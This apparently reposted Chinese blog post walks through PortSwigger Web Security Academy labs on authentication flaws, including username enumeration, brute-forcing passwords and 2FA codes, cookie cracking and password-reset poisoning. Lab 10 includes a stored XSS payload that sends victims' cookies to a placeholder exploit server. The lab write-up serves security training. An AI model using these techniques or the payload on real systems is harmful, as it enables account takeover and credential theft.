burp靶场--身份认证漏洞

news2024/12/25 12:32:29

burp靶场–身份认证漏洞

https://portswigger.net/web-security/authentication#what-is-authentication

1.身份认证漏洞:

### 身份验证漏洞
从概念上讲,身份验证漏洞很容易理解。然而,由于身份验证和安全性之间的明确关系,它们通常至关重要。
身份验证漏洞可能使攻击者能够访问敏感数据和功能。它们还暴露了额外的攻击面以供进一步利用。因此,了解如何识别和利用身份验证漏洞以及如何绕过常见的保护措施非常重要

### 身份验证机制中的漏洞

网站的身份验证系统通常由几种不同的机制组成,这些机制可能会出现漏洞。一些漏洞适用于所有这些环境。其他的则更具体于所提供的功能。
我们将更仔细地研究以下领域的一些最常见的漏洞:
基于密码的登录 LABS中的漏洞
多因素身份验证 实验室中的漏洞
其他身份验证机制实验室中的漏洞

基于密码的登录中的漏洞

实验1:通过不同的响应枚举用户名

### 实验要求:
该实验室容易受到用户名枚举和密码暴力攻击。它有一个具有可预测的用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。

### 实验操作:
运行 Burp 时,调查登录页面并提交无效的用户名和密码。
在 Burp 中,转到“代理”>“HTTP 历史记录”并找到该POST /login请求。username突出显示请求中的参数 值并将其发送到 Burp Intruder。
在 Burp Intruder 中,转到“位置”选项卡。请注意,该username参数会自动设置为有效负载位置。该位置由两个符号表示§,例如:username=§invalid-username§。现在将密码保留为任何静态值。
确保选择了狙击手攻击类型。
在“有效负载”选项卡上,确保选择“简单列表”有效负载类型。
在Payload settings 下,粘贴候选用户名列表。最后点击开始攻击。攻击将在新窗口中开始。
攻击完成后,在“结果”选项卡上检查“长度”列。您可以单击列标题对结果进行排序。请注意,其中一个条目比其他条目长。将此负载的响应与其他响应进行比较。请注意,其他响应包含该消息Invalid username,但此响应说Incorrect password。记下“有效负载”列中的用户名。
关闭攻击并返回“位置”选项卡。单击“清除”,然后将username参数更改为您刚刚识别的用户名。将有效负载位置添加到password参数中。结果应该是这样的:

username=identified-user&password=§invalid-password§
在“有效负载”选项卡上,清除用户名列表并将其替换为候选密码列表。单击开始攻击。
攻击完成后,查看“状态”列。请注意,每个请求都收到带有状态代码的响应200,但只有一个请求收到了302响应。这表明登录尝试成功 - 记下“有效负载”列中的密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
继续爆破密码:

浏览器尝试:apps:princess登陆成功:
在这里插入图片描述

实验4:通过略有不同的响应进行用户名枚举

### 实验要求:
该实验室很容易受到用户名枚举和密码暴力攻击。它有一个具有可预测的用户名和密码的帐户,可以在以下单词列表中找到:
候选人用户名
候选人密码
要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。

### 实验操作:
在 Burp 运行时,提交无效的用户名和密码。突出显示请求username中的参数POST /login并将其发送到 Burp Intruder。
在“有效负载”选项卡上,请注意该username参数会自动标记为有效负载位置。确保选择简单列表有效负载类型并添加候选用户名列表。
在“设置”选项卡上的“Grep - Extract”下,单击“添加”。在出现的对话框中,向下滚动响应,直到找到错误消息Invalid username or password.。使用鼠标突出显示消息的文本内容。其他设置将自动调整。单击“确定”,然后开始攻击。
攻击完成后,请注意有一个附加列包含您提取的错误消息。使用此列对结果进行排序,您会发现其中一个略有不同。
仔细查看此响应,请注意它在错误消息中包含拼写错误 - 不是句号/句号,而是尾随空格。记下该用户名。
关闭攻击并返回“位置”选项卡。插入您刚刚识别的用户名并将有效负载位置添加到参数中password:

username=identified-user&password=§invalid-password§
在“有效负载”选项卡上,清除用户名列表并将其替换为密码列表。开始攻击。
攻击完成后,请注意其中一个请求收到了响应302。记下该密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过响应时间枚举用户名

### 实验要求:
该实验室很容易受到利用其响应时间的用户名枚举的攻击。要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
您的凭据:wiener:peter
候选人用户名
候选人密码

### 实验操作:
在 Burp 运行的情况下,提交无效的用户名和密码,然后将请求发送POST /login到 Burp Repeater。尝试不同的用户名和密码。请注意,如果您尝试多次无效登录,您的 IP 将被封锁。
确定X-Forwarded-For标头受支持,这允许您欺骗您的 IP 地址并绕过基于 IP 的暴力保护。
继续尝试用户名和密码。特别注意响应时间。请注意,当用户名无效时,响应时间大致相同。但是,当您输入有效的用户名(您自己的)时,响应时间会根据您输入的密码长度而增加。
将此请求发送到 Burp Intruder 并选择攻击类型为Pitchfork。添加X-Forwarded-For标题。
添加X-Forwarded-For标头和username参数的有效负载位置。将密码设置为很长的字符串(大约 100 个字符即可)。
在“有效负载”选项卡上,选择有效负载集 1。选择“数字”有效负载类型。输入范围 1 - 100 并将步长设置为 1。将最大小数位数设置为 0。这将用于欺骗您的 IP。
选择有效负载集 2 并添加用户名列表。开始攻击。
攻击完成后,在对话框顶部单击“列”并选择“已收到响应”和“已完成响应”选项。这两列现在显示在结果表中。
请注意,其中一个响应时间明显长于其他响应时间。重复此请求几次,以确保它始终需要更长的时间,然后记下此用户名。
针对同一请求创建新的 Burp Intruder 攻击。再次添加X-Forwarded-For标头并为其添加有效负载位置。插入您刚刚识别的用户名并将有效负载位置添加到参数中password。
在“有效负载”选项卡上,将数字列表添加到有效负载集 1 中,并将密码列表添加到有效负载集 2 中。开始攻击。
攻击完成后,找到带有302状态的响应。记下该密码。
使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。

此实验,对ip有限制
爆破时候加上X-Forwarded-For:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
爆破密码:
carlos
root
admin
test
user
在这里插入图片描述
在这里插入图片描述

实验6:暴力破解保护、IP 封锁

### 实验要求:
该实验室由于其密码暴力保护中的逻辑缺陷而容易受到攻击。要解决该实验室问题,请暴力破解受害者的密码,然后登录并访问他们的帐户页面。
您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码

### 实验操作:
运行 Burp 后,调查登录页面。请注意,如果您连续提交 3 次错误登录,您的 IP 会被暂时封锁。但是,请注意,您可以在达到此限制之前登录到您自己的帐户来重置登录尝试失败次数的计数器。
输入无效的用户名和密码,然后将POST /login请求发送到 Burp Intruder。username使用和参数中的有效负载位置创建干草叉攻击password。
在“资源池”选项卡上,将攻击添加到资源池,并将“最大并发请求数”设置为1。通过一次仅发送一个请求,您可以确保您的登录尝试以正确的顺序发送到服务器。
在“有效负载”选项卡上,选择有效负载集 1。添加在您的用户名和 之间交替的有效负载列表carlos。确保您的用户名位于第一位,并且carlos至少重复 100 次。
编辑候选密码列表并在每个密码前添加您自己的密码。确保您的密码与其他列表中的用户名一致。
将此列表添加到有效负载集 2 中并开始攻击。
攻击完成后,过滤结果以隐藏状态代码为 200 的响应。按用户名对剩余结果进行排序。对于使用 username 的请求,应该只有一个 302 响应carlos。记下“有效负载 2 ”列中的密码。
使用您识别的密码登录卡洛斯的帐户并访问他的帐户页面以解决实验室问题。

因为每错3次就会封ip,所以在连续登陆错3次内,循环插入正确的账号和密码(且不能多线程,不然就容易直接错3次了)
(使用notepad++的替换功能构造用户和密码本),有100个密码,所以构造100行要爆破的目标用户:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

实验7:通过帐户锁定枚举用户名

### 实验要求:
该实验室容易受到用户名枚举的攻击。它使用帐户锁定,但这包含逻辑缺陷。要解决该实验,请枚举有效的用户名,暴力破解该用户的密码,然后访问其帐户页面。
候选人用户名
候选人密码

### 实验操作:
运行 Burp 时,调查登录页面并提交无效的用户名和密码。将请求发送POST /login给 Burp Intruder。
选择攻击类型集束炸弹。将有效负载位置添加到username参数中。单击“添加 §”两次,将空白负载位置添加到请求正文的末尾。结果应该是这样的:

username=§invalid-username§&password=example§§
在“有效负载”选项卡上,将用户名列表添加到第一个有效负载集。对于第二组,选择空负载类型并选择生成 5 个负载的选项。这实际上会导致每个用户名重复 5 次。开始攻击。
在结果中,请注意,其中一个用户名的响应比使用其他用户名时的响应长。更仔细地研究响应并注意它包含不同的错误消息:You have made too many incorrect login attempts.记下此用户名。
对请求创建新的 Burp Intruder 攻击POST /login,但这次选择Sniper攻击类型。将参数设置username为您刚刚识别的用户名,并向password参数添加有效负载位置。
将密码列表添加到有效负载集中,并为错误消息创建 grep 提取规则。开始攻击。
在结果中,查看 grep extract 列。请注意,有几个不同的错误消息,但其中一个响应不包含任何错误消息。记下该密码。
等待一分钟,让帐户锁定重置。使用您识别的用户名和密码登录并访问用户帐户页面以解决实验问题。

发现重复登陆5次就会锁定账号,所以把所有账号重复进行5次枚举(使用集束炸弹Cluster bomb),观察响应包
在这里插入图片描述
在这里插入图片描述

爆破完毕,发现了被锁定的账户:austin
在这里插入图片描述
爆破austin的密码:
在这里插入图片描述
在这里插入图片描述

实验13:暴力保护被破坏,每个请求有多个凭据

### 实验要求:
该实验室由于其暴力保护的逻辑缺陷而容易受到攻击。要解决该实验室问题,请暴力破解卡洛斯的密码,然后访问他的帐户页面。
受害者的用户名:carlos
候选人密码

### 实验操作:
运行 Burp 后,调查登录页面。请注意,该POST /login请求以格式提交登录凭据JSON。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将密码的单个字符串值替换为包含所有候选密码的字符串数组。例如:

"username" : "carlos",
"password" : [
    "123456",
    "password",
    "qwerty"
    ...
]
发送请求。这将返回 302 响应。
右键单击该请求并选择在浏览器中显示响应。复制 URL 并将其加载到浏览器中。页面加载并且您以 登录carlos。
单击我的帐户访问卡洛斯的帐户页面并解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
复制url到浏览器打开,已经成功登陆carlos用户:
在这里插入图片描述

多因素身份验证中的漏洞

实验2:2FA简单旁路【双因素认证绕过】

### 实验要求:
该实验室的双因素身份验证可以被绕过。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决该实验室问题,请访问卡洛斯的帐户页面。

您的凭据:wiener:peter
受害人的身份证明carlos:montoya

### 实验操作:
登录您自己的帐户。您的 2FA 验证码将通过电子邮件发送给您。单击电子邮件客户端按钮访问您的电子邮件。
转到您的帐户页面并记下 URL。
退出您的帐户。
使用受害者的凭据登录。
当提示输入验证码时,手动更改 URL 以导航到/my-account。当页面加载时,实验室就解决了。

在这里插入图片描述
在这里插入图片描述
实验安全码登陆,让后记录下url :https://0a78009d03047752845a0ea90095008a.web-security-academy.net/my-account?id=wiener
退出登陆,使用calos账户登陆,验证安全码的时候直接使用上面url访问,用户登陆成功:直接浏览器访问:https://0a78009d03047752845a0ea90095008a.web-security-academy.net/my-account
在这里插入图片描述

实验8:2FA断开逻辑

步骤1:分析登陆逻辑:
在这里插入图片描述
302重定向到2FA认证:服务端产生验证码,并发送到用户的邮箱:
在这里插入图片描述
在这里插入图片描述
然后注销wiener用户:重新登陆wiener:peter
开启拦截:
在这里插入图片描述
在这里插入图片描述
发送到intruder:爆破carlos的验证码:
在这里插入图片描述
在这里插入图片描述
爆破成功:
在这里插入图片描述
然后右键——》在浏览器显示响应就ok。
在这里插入图片描述

实验14:使用暴力攻击的2FA旁路

### 实验要求:
该实验室的双因素身份验证很容易受到暴力破解。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决该实验室问题,请暴力破解 2FA 代码并访问 Carlos 的帐户页面。
受害人身份证明:carlos:montoya

### 实验操作:
在 Burp 运行的情况下,登录carlos并调查 2FA 验证过程。请注意,如果您两次输入错误代码,您将再次注销。您需要使用 Burp 的会话处理功能在发送每个请求之前自动重新登录。
在 Burp 中,转到项目选项 > 会话。在“会话处理规则”面板中,单击“添加”。会话处理规则编辑器对话框打开。
在对话框中,转到“范围”选项卡。在“URL 范围”下,选择“包括所有 URL”选项。
返回“详细信息”选项卡,然后在“规则操作”下单击“添加”>“运行宏”。
在“选择宏”下单击“添加”以打开“宏记录器”。选择以下 3 个请求:

GET /login
POST /login
GET /login2
然后单击“确定”。“宏编辑器”对话框打开。

单击测试宏并检查最终响应是否包含要求您提供 4 位安全代码的页面。这证实了宏工作正常。
继续单击“确定”关闭各个对话框,直到返回 Burp 主窗口。现在,在 Burp Intruder 发送每个请求之前,宏会自动以 Carlos 身份重新登录。
将请求发送POST /login2给 Burp Intruder。
在 Burp Intruder 中,将有效负载位置添加到mfa-code参数中。
在“有效负载”选项卡上,选择“Numbers”有效负载类型。输入范围 0 - 9999 并将步长设置为 1。将最小/最大整数位设置为 4,最大小数位设置为 0。这将为每个可能的 4 位整数创建有效负载。
转到“资源池”选项卡,将攻击添加到资源池,并将“最大并发请求数”设置为1。
开始攻击。最终,其中一个请求将返回 302 状态代码。右键单击该请求并选择在浏览器中显示响应。复制 URL 并将其加载到浏览器中。
单击我的帐户来解决实验。

注意:在 Burp 运行的情况下,登录carlos并调查 2FA 验证过程。请注意,如果您两次输入错误代码,您将再次注销。您需要使用 Burp 的会话处理功能在发送每个请求之前自动重新登录。爆破前使用宏来处理此问题。
在这里插入图片描述
在这里插入图片描述
会话处理——》添加宏规则:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
爆破时候线程选择为1,否则宏运行的动作跟不上导致错误:
在这里插入图片描述

其他身份验证机制中的漏洞

实验9:强制使用保持登录状态的Cookie【注意不是爆破登陆口】

### 实验要求:
该实验允许用户即使在关闭浏览器会话后也能保持登录状态。用于提供此功能的 cookie 很容易受到暴力破解。
要解决这个实验室问题,需要暴力破解 Carlos 的 cookie,以访问他的“我的帐户”页面。
您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码

### 实验操作:
运行 Burp 后,登录到您自己的帐户并选择“保持登录状态”选项。请注意,这会设置一个stay-logged-incookie。
在检查器面板 中检查此 cookie ,并注意它是 Base64 编码的。其解码值为wiener:51dc30ddc473d43a6011e9ebba6ca770.研究该字符串的长度和字符集,并注意它可能是 MD5 哈希值。鉴于明文是您的用户名,您可以有根据地猜测这可能是您密码的哈希值。使用 MD5 对您的密码进行哈希处理以确认情况确实如此。我们现在知道cookie的构造如下:

base64(username+':'+md5HashOfPassword)
退出您的帐户。
在最近的 中GET /my-account,突出显示stay-logged-incookie 参数并将请求发送到 Burp Intruder。
在 Burp Intruder 中,请注意stay-logged-incookie 已自动添加为有效负载位置。添加您自己的密码作为单个有效负载。
在Payloadprocessing 下,按顺序添加以下规则。在提交请求之前,这些规则将按顺序应用于每个有效负载。
哈希:MD5
添加前缀:wiener:
编码:Base64-encode
由于仅当您在经过身份验证的状态下访问页面时才会显示“更新电子邮件”/my-account按钮,因此我们可以使用此按钮的存在与否来确定我们是否已成功暴力破解 cookie。在“设置”选项卡上,添加 grep 匹配规则以标记包含字符串 的任何响应Update email。开始攻击。
请注意,生成的有效负载用于成功加载您自己的帐户页面。这证实了有效负载处理规则按预期工作,并且您能够为自己的帐户构建有效的 cookie。
进行以下调整,然后重复此攻击:
从有效负载列表中删除您自己的密码,然后添加候选密码 列表。
将添加前缀规则 更改为 addcarlos:而不是wiener:。
当攻击完成后,实验室就会被解决。请注意,只有一个请求返回了包含Update email.此请求的有效负载是stay-logged-inCarlos 帐户的有效 cookie。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
爆破carlos的cookie:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
解码carlos的MD5:
在这里插入图片描述
登陆:
在这里插入图片描述

实验10:离线密码破解【xss获取cookie,cookie中包含密码加密值,解密-》登陆】

### 实验要求:
本实验将用户的密码哈希存储在 cookie 中。该实验室的评论功能中还存在 XSS 漏洞。要解决这个实验室问题,请获取卡洛斯的stay-logged-incookie 并用它来破解他的密码。然后,登录carlos并从“我的帐户”页面删除他的帐户。

您的凭据:wiener:peter
受害者的用户名:carlos

###
当 Burp 运行时,使用您自己的帐户来研究“保持登录”功能。请注意,stay-logged-incookie 是 Base64 编码的。
在“代理”>“HTTP 历史记录”选项卡中,转到“对登录请求的响应”stay-logged-in并突出显示cookie,以查看其构造如下:

username+':'+md5HashOfPassword
您现在需要窃取受害用户的 cookie。请注意,评论功能容易受到 XSS 攻击。
转到漏洞利用服务器并记下 URL。
转到其中一个博客并发布包含以下存储的 XSS负载的评论,请记住输入您自己的漏洞利用服务器 ID:

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
在漏洞利用服务器上,打开访问日志。GET受害者应该发出包含stay-logged-incookie 的请求。
在 Burp Decoder 中解码 cookie。结果将是:

carlos:26323c16d5f4dabff3bb136f2460a943
复制哈希并将其粘贴到搜索引擎中。这将显示密码是onceuponatime。
登录受害者的帐户,进入“我的帐户”页面,删除他们的帐户即可解决实验室问题。

第一步:登陆查看正常用户wiener,发现cookie的加密方式为:username+‘:’+md5HashOfPassword 【与上一个实验操作一样,步骤略…】
第二步:xss漏洞获取目标用户cookie:在目标站点存在xss漏洞的地方插入下面恶意js:

我的是:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第三步:解密xss获取的目标用户cookie,使用密码登陆:
在这里插入图片描述
carlos:onceuponatime

在这里插入图片描述

实验3:密码重置逻辑错误【重置自己账户的密码,在邮箱点击充值链接的时候将用户替换为受害用户,重置成功】

### 实验要求:
该实验室的密码重置功能存在漏洞。要解决实验室问题,请重置卡洛斯的密码,然后登录并访问他的“我的帐户”页面。

您的凭据:wiener:peter
受害者的用户名:carlos

### 实验操作:
运行 Burp 时,单击忘记密码?链接并输入您自己的用户名。
单击电子邮件客户端按钮查看已发送的密码重置电子邮件。单击电子邮件中的链接并将您的密码重置为您想要的任何内容。
在 Burp 中,转到代理 > HTTP 历史记录并研究密码重置功能的请求和响应。请注意,重置令牌作为重置电子邮件中的 URL 查询参数提供。请注意,当您提交新密码时,请求POST /forgot-password?temp-forgot-password-token包含用户名作为隐藏输入。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,观察到即使您删除了temp-forgot-password-tokenURL 和请求正文中的参数值,密码重置功能仍然有效。这确认您提交新密码时不会检查令牌。
在浏览器中,请求重置新密码并再次更改密码。POST /forgot-password?temp-forgot-password-token再次向 Burp Repeater 发送请求。
temp-forgot-password-token在 Burp Repeater 中,删除URL 和请求正文中 的参数值。将username参数更改为carlos.将新密码设置为您想要的任何内容并发送请求。
在浏览器中,使用您刚刚设置的新密码登录卡洛斯的帐户。单击我的帐户来解决实验。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验11:通过中间件的密码重置中毒

### 实验要求:
该实验室容易受到密码重置中毒的影响。用户carlos会不小心点击他收到的电子邮件中的任何链接。要解决实验室问题,请登录卡洛斯的帐户。您可以使用以下凭据登录您自己的帐户:wiener:peter。发送到此帐户的任何电子邮件都可以通过漏洞利用服务器上的电子邮件客户端进行读取。

### 实验操作:
在 Burp 运行的情况下,研究密码重置功能。请注意,包含唯一重置令牌的链接是通过电子邮件发送的。
将POST /forgot-password请求发送到 Burp Repeater。请注意,该X-Forwarded-Host标头受支持,您可以使用它将动态生成的重置链接指向任意域。
转到漏洞利用服务器并记下您的漏洞利用服务器 URL。
返回到 Burp Repeater 中的请求并添加X-Forwarded-Host带有漏洞利用服务器 URL 的标头:

X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
将参数更改username为carlos并发送请求。
转到漏洞利用服务器并打开访问日志。您应该看到一个GET /forgot-password请求,其中包含受害者的令牌作为查询参数。记下此标记。
返回您的电子邮件客户端并复制有效的密码重置链接(不是指向漏洞利用服务器的链接)。将其粘贴到浏览器中并将参数值更改temp-forgot-password-token为您从受害者那里窃取的值。
加载此 URL 并为 Carlos 的帐户设置新密码。
使用新密码登录卡洛斯的帐户来解决实验室问题

已有凭据:wiener:peter

本实验中X-Forwarded-Host标头是受支持的,使用它来将动态生成的重置链接指向自己控制的任意域
步骤1:通过修改X-Forwarded-Host,使得重置密码的token发送到自己控制的服务器日志上

步骤2:获得重置密码的链接,在邮箱中

步骤3:构造重置密码链接,修改其中的token和要重置的账户用户名,重置密码

步骤4:登陆受害者的账户

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

/forgot-password?temp-forgot-password-token=4he59drfur002u2jvljlh3tcw350t788
在这里插入图片描述
在这里插入图片描述
抓包:修改为calos的修改邮箱token:
在这里插入图片描述
在这里插入图片描述

参考:

### 身份认证漏洞:
https://mp.weixin.qq.com/s/91FoxKkAMG9vf-iWRwBK4A
https://mp.weixin.qq.com/s/ncdkqidjMbPFKsJHCvd54Q
### portswigger官方:身份认证漏洞:
https://portswigger.net/web-security/authentication#what-is-authentication
### owasp:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README
### payloadallthetings:
https://github.com/swisskyrepo/PayloadsAllTheThings

实验12:通过更改密码暴力破解密码

### 实验要求:
该实验室的密码更改功能使其容易受到暴力攻击。要解决这个实验室问题,请使用候选密码列表来暴力破解 Carlos 的帐户并访问他的“我的帐户”页面。

您的凭据:wiener:peter
受害者的用户名:carlos
候选人密码

### 实验操作:
运行 Burp 后,登录并尝试密码更改功能。请注意,用户名作为请求中的隐藏输入提交。
请注意输入错误的当前密码时的行为。如果新密码的两次输入匹配,则帐户被锁定。但是,如果您输入两个不同的新密码,则会出现一条错误消息,仅指出Current password is incorrect。如果您输入有效的当前密码,但输入了两个不同的新密码,则消息会显示New passwords do not match。我们可以使用此消息来枚举正确的密码。
输入正确的当前密码和两个不匹配的新密码。将此POST /my-account/change-password请求发送给 Burp Intruder。
在Burp Intruder中,将username参数更改为carlos并向该current-password参数添加有效负载位置。确保新密码参数设置为两个不同的值。例如:

username=carlos&current-password=§incorrect-password§&new-password-1=123&new-password-2=abc
在“有效负载”选项卡上,输入密码列表作为有效负载集
在“设置”选项卡上,添加 grep 匹配规则以标记包含New passwords do not match.开始攻击。
攻击完成后,请注意发现了一个包含该New passwords do not match消息的响应。记下该密码。
在浏览器中,注销您自己的帐户,然后使用carlos您刚刚识别的用户名和密码重新锁定。
单击我的帐户来解决实验

在这里插入图片描述
在这里插入图片描述
将新密码的值设置为不相同,然后将当前密码使用intruder爆破,根据响应提示判断:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1415922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Java SSM框架实现学校招生信息网系统项目【项目源码+论文说明】

基于java的SSM框架实现学生招生信息网系统演示 摘要 随着科学技术的飞速发展&#xff0c;社会的方方面面、各行各业都在努力与现代的先进技术接轨&#xff0c;通过科技手段来提高自身的优势&#xff0c;学校招生信息网当然也不能排除在外。学校招生信息网是以实际运用为开发背…

【大数据】Flink 中的状态管理

Flink 中的状态管理 1.算子状态2.键值分区状态3.状态后端4.有状态算子的扩缩容4.1 带有键值分区状态的算子4.2 带有算子列表状态的算子4.3 带有算子联合列表状态的算子4.4 带有算子广播状态的算子 在前面的博客中我们指出&#xff0c;大部分的流式应用都是有状态的。很多算子都…

OpenCV 0 - VS2019配置OpenCV

1 配置好环境变量 根据自己的opencv的安装目录配置 2 新建一个空项目 3 打开 视图->工具栏->属性管理器 4 添加新项目属性表 右键项目名(我这是opencvdemo)添加新项目属性表,如果有配置好了的属性表选添加现有属性表 5 双击选中Debug|x64的刚添加的属性表 6 (重点)添…

[LVGL] 可点击的文字label

LVGL8.x 自带的label 是没有点击响应的功能&#xff0c;即使加了lv_obj_add_event_cb 也不起作用&#xff0c;为了解决这个问题&#xff0c;我们使用了按钮控件去模拟纯label的效果&#xff1b;有了这个demo用户就可以实现类似超链接 点击一个文字就跳转到某个页面的功能。 st…

Kotlin 教程(环境搭建)

Kotlin IntelliJ IDEA环境搭建 IntelliJ IDEA 免费的社区版下载地址&#xff1a;Download IntelliJ IDEA – The Leading Java and Kotlin IDE 下载安装后&#xff0c;我们就可以使用该工具来创建项目&#xff0c;创建过程需要选择 SDK&#xff0c; Kotlin 与 JDK 1.6 一起使…

【大数据】详解 Flink 中的 WaterMark

详解 Flink 中的 WaterMark 1.基础概念1.1 流处理1.2 乱序1.3 窗口及其生命周期1.4 Keyed vs Non-Keyed1.5 Flink 中的时间 2.Watermark2.1 案例一2.2 案例二2.3 如何设置最大乱序时间2.4 延迟数据重定向 3.在 DDL 中的定义3.1 事件时间3.2 处理时间 1.基础概念 1.1 流处理 流…

1.【Vue3】前端开发引入、Vue 简介

1. 前端开发引入 1.1 前端开发前置知识 通过之前的学习&#xff0c;已经通过 SpringBoot 和一些三方技术完成了大事件项目的后端开发。接下来开始学习大事件项目的前端开发&#xff0c;前端部分借助两个框架实现&#xff1a; Vue3&#xff08;一个 JS 框架&#xff09;基于 …

Vue-Router: 如何使用路由元信息来管理路由?

Vue-Router是Vue.js官方的路由管理器&#xff0c;它可以帮助我们快速构建单页应用程序&#xff08;SPA&#xff09;。除了常见的路由功能外&#xff0c;Vue-Router还支持使用路由元信息来管理和控制路由。路由元信息是可以附加到路由上的自定义属性&#xff0c;它可以帮助我们实…

LandrayOA内存调优 / JAVA内存调优 / Tomcat web.xml 超时时间调优实战

目录 一、背景说明 二、LandrayOA / Tomcat 内存调优 2.1 \win64\tomcat\conf\web.xml 文件调优 2.2 \win64\tomcat\bin\catalina64.bat 文件调优 一、背景说明 随着系统的使用时间越来越长&#xff0c;数据量越多&#xff0c;发现系统的有些功能越来越慢&…

在腾讯云上部署幻兽帕鲁,实现游戏自由!

在帕鲁的世界&#xff0c;你可以选择与神奇的生物「帕鲁」一同享受悠闲的生活&#xff0c;也可以投身于与偷猎者进行生死搏斗的冒险。帕鲁可以进行战斗、繁殖、协助你做农活&#xff0c;也可以为你在工厂工作。你也可以将它们进行售卖&#xff0c;或肢解后食用。引用自&#xf…

第17章_反射机制(理解Class类并获取Class实例,类的加载与ClassLoader的理解,反射的基本应用,读取注解信息,体会反射的动态性)

文章目录 第17章_反射机制本章专题与脉络1. 反射(Reflection)的概念1.1 反射的出现背景1.2 反射概述1.3 Java反射机制研究及应用1.4 反射相关的主要API1.5 反射的优缺点 2. 理解Class类并获取Class实例2.1 理解Class2.1.1 理论上2.1.2 内存结构上 2.2 获取Class类的实例(四种方…

Linux系统优化要义

这里不敢说 linux优化奥义&#xff0c;主要是本文比较浅显&#xff0c;适合普通开发相关人员去读 linux作为服务器系统的王者&#xff0c;以稳定性著称&#xff0c;但对于不同的“应用场景”&#xff0c;相关配置还需调整&#xff0c;才能保证业务稳定性。以下是相关总结 IO优…

函数入门.

函数入门 1. 初识函数2. 函数的参数2.1 参数2.2 默认参数2.3 动态参数 3. 函数返回值总结作业 1. 初识函数 函数到底是个什么东西&#xff1f; 函数&#xff0c;可以当做是一大堆功能代码的集合。 def 函数名():函数内编写代码......函数名()例如&#xff1a; # 定义名字叫in…

Linux 驱动开发基础知识—— 具体单板的 LED 驱动程序(五)

个人名片&#xff1a; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的在校大学生 &#x1f42f;个人主页&#xff1a;妄北y &#x1f427;个人QQ&#xff1a;2061314755 &#x1f43b;个人邮箱&#xff1a;2061314755qq.com &#x1f989;个人WeChat&#xff1a;V…

THM学习笔记——john

John the Ripper是目前最好的哈希破解工具之一。 John基本语法&#xff1a; john [options] [path to file] john&#xff1a;调用John the Ripper程序。 [path to file]&#xff1a;包含你要尝试破解的哈希的文件&#xff0c;如果它们在同一个目录中&#xff0c;你就不需要命名…

S275 4G网络IO模块:智能酒店的理想选择

行业背景 随着物联网技术的发展&#xff0c;酒店服务也变得更加“智能”——自动灯光效果、室内温湿度控制、各种人性化操作等贴心服务&#xff0c;带给顾客真正的宾至如归之感。 同时&#xff0c;智慧酒店更为管理者提供了高效的管理手段&#xff0c;将酒店物耗、能耗、人员…

CSS探索浏览器兼容性

学习如何探索浏览器的兼容性对于编写跨浏览器兼容的CSS代码非常重要。以下是一些学习CSS兼容性的方法&#xff1a; MDN文档&#xff1a;Mozilla开发者网络&#xff08;MDN&#xff09;提供了广泛而详细的CSS文档&#xff0c;其中包含有关CSS属性、选择器和功能的信息。在MDN上…

解决 PDF.js v2.3.200 (build: 4ae3f9fc) 信息:PDFDocument: Stream must have data

文章标题 问题描述&#xff1a;思考分析&#xff1a;解决方案&#xff1a;参考资料 问题描述&#xff1a; 项目中使用PDF.js去预览已上传的附件文件时&#xff0c;加载PDF文件的时候报了以下的错误 错误信息如下 PDF.js v2.3.200 (build: 4ae3f9fc) 信息&#xff1a;PDFDocu…

基于QC-LDPC编码的循环移位网络的FPGA实现

一、桶式移位寄存器(barrel shifter) 八位桶式移位寄存器的VHDL实现如下&#xff0c;由于每一层结构相似&#xff0c;于是采用生成语句for_generate实现&#xff0c;使用该代码实现的RTL级分析和理论的结构一致&#xff0c;仿真结果也符合预期。 entity barrel_shift isGENE…

降低文件增长和失真的零系数JPEG图像可逆信息隐藏

一、研究概述和意义 随着多媒体技术和网络的迅猛发展&#xff0c;数字媒体的应用越来越广泛。在网络上传输的数字 媒体如音频、文本、视频和图像的内容及数据安全问题也随之而来。伴随着计算机技术发展与普及&#xff0c;数字媒体的机密性、完整性经常受到非法活动的威胁&…